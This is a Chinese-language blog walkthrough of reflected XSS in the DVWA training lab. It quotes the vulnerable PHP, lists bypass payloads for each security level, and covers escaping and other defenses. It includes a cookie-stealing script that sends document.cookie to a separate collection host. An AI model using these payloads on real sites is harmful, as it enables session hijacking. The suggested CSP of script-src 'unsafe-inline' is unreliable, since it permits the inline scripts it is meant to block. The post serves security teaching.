【web安全】DVWA反射型XSS漏洞分析与利用

发布于:2025-07-19 ⋅ 阅读:(10) ⋅ 点赞:(0)

目录

一、环境搭建与漏洞原理

1.1 反射型XSS原理

二、Low安全级别漏洞分析

2.1 漏洞代码分析

2.2 利用方式

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

3.2 High级别防护分析

3.3 各级别防护对比

四、Impossible级别与防御方案

4.1 Impossible级别实现

4.2 企业级防御方案

一、环境搭建与漏洞原理

1.1 反射型XSS原理

反射型XSS(Reflected XSS)特点:

  • 恶意脚本通过URL参数注入

  • 服务端未过滤直接嵌入到响应中

  • 需要诱导用户点击特定链接触发

  • 攻击效果是一次性的

漏洞产生流程:

攻击者构造URL → 用户点击 → 服务器返回含恶意脚本的页面 → 浏览器执行脚本

二、Low安全级别漏洞分析

2.1 漏洞代码分析

<?php
header("X-XSS-Protection: 0");
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL){
    echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>

漏洞点:直接输出用户输入,无任何过滤

2.2 利用方式

基础Payload:

http://192.168.21.4/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

高级利用(窃取Cookie):

<script>
new Image().src="http://192.168.21.1/steal.php?cookie="+encodeURIComponent(document.cookie);
</script>

192.168.21.1服务器上收到cookie的值

图2.1 成功执行任意JavaScript代码

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
​
    // Feedback for end user
    $html .= "<pre>Hello {$name}</pre>";
}
​
?>

发现进行了<script>过滤

绕过方法

  1. 大小写混淆:<ScRiPt>alert(1)</ScRiPt>

  2. 嵌套标签:<scr<script>ipt>alert(1)</script>

  3. 使用非script标签:<img src=x onerror=alert(1)>

3.2 High级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
​
    // Feedback for end user
    $html .= "<pre>Hello {$name}</pre>";
}
​
?>

防护原理:使用正则表达式匹配并删除<script>标签及其变体

  • <(.*):匹配<后跟任意字符(包括无字符)

  • s(.)c(.)...:强制按顺序匹配s、c、r、i、p、t字母

  • /i:不区分大小写

绕过方法

  1. SVG标签:<svg/onload=alert(1)>

  2. 事件属性:<body onpageshow=alert(1)>

  3. 伪协议:<a href="javascript:alert(1)">click</a>

3.3 各级别防护对比

安全级别 防护措施 有效Payload示例
Low 无过滤 <script>alert(1)</script>
Medium 移除<script>字符串 <img src=x onerror=alert(1)>
High 正则过滤script标签 <svg/onload=alert(document.domain)>
Impossible htmlspecialchars转义 无有效绕过方式

四、Impossible级别与防御方案

4.1 Impossible级别实现

<?php
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
​
    // Feedback for end user
    $html .= "<pre>Hello {$name}</pre>";
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

htmlspecialchars防护原理

  • 将特殊字符转换为HTML实体

  • 例如:<&lt;"&quot;

4.2 企业级防御方案

  1. 输入验证(白名单原则):

    if(!preg_match('/^[a-zA-Z0-9]+$/', $input)){
        die("Invalid input");
    }

  2. 输出编码

    // HTML上下文
    htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
    ​
    // JavaScript上下文
    json_encode($str, JSON_HEX_TAG);

  3. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

    内容安全策略(CSP)详解:Web安全的关键防线-CSDN博客

  4. 现代前端框架防护

    • React/Vue/Angular默认自动转义


网站公告

今日签到

点亮在社区的每一天
去签到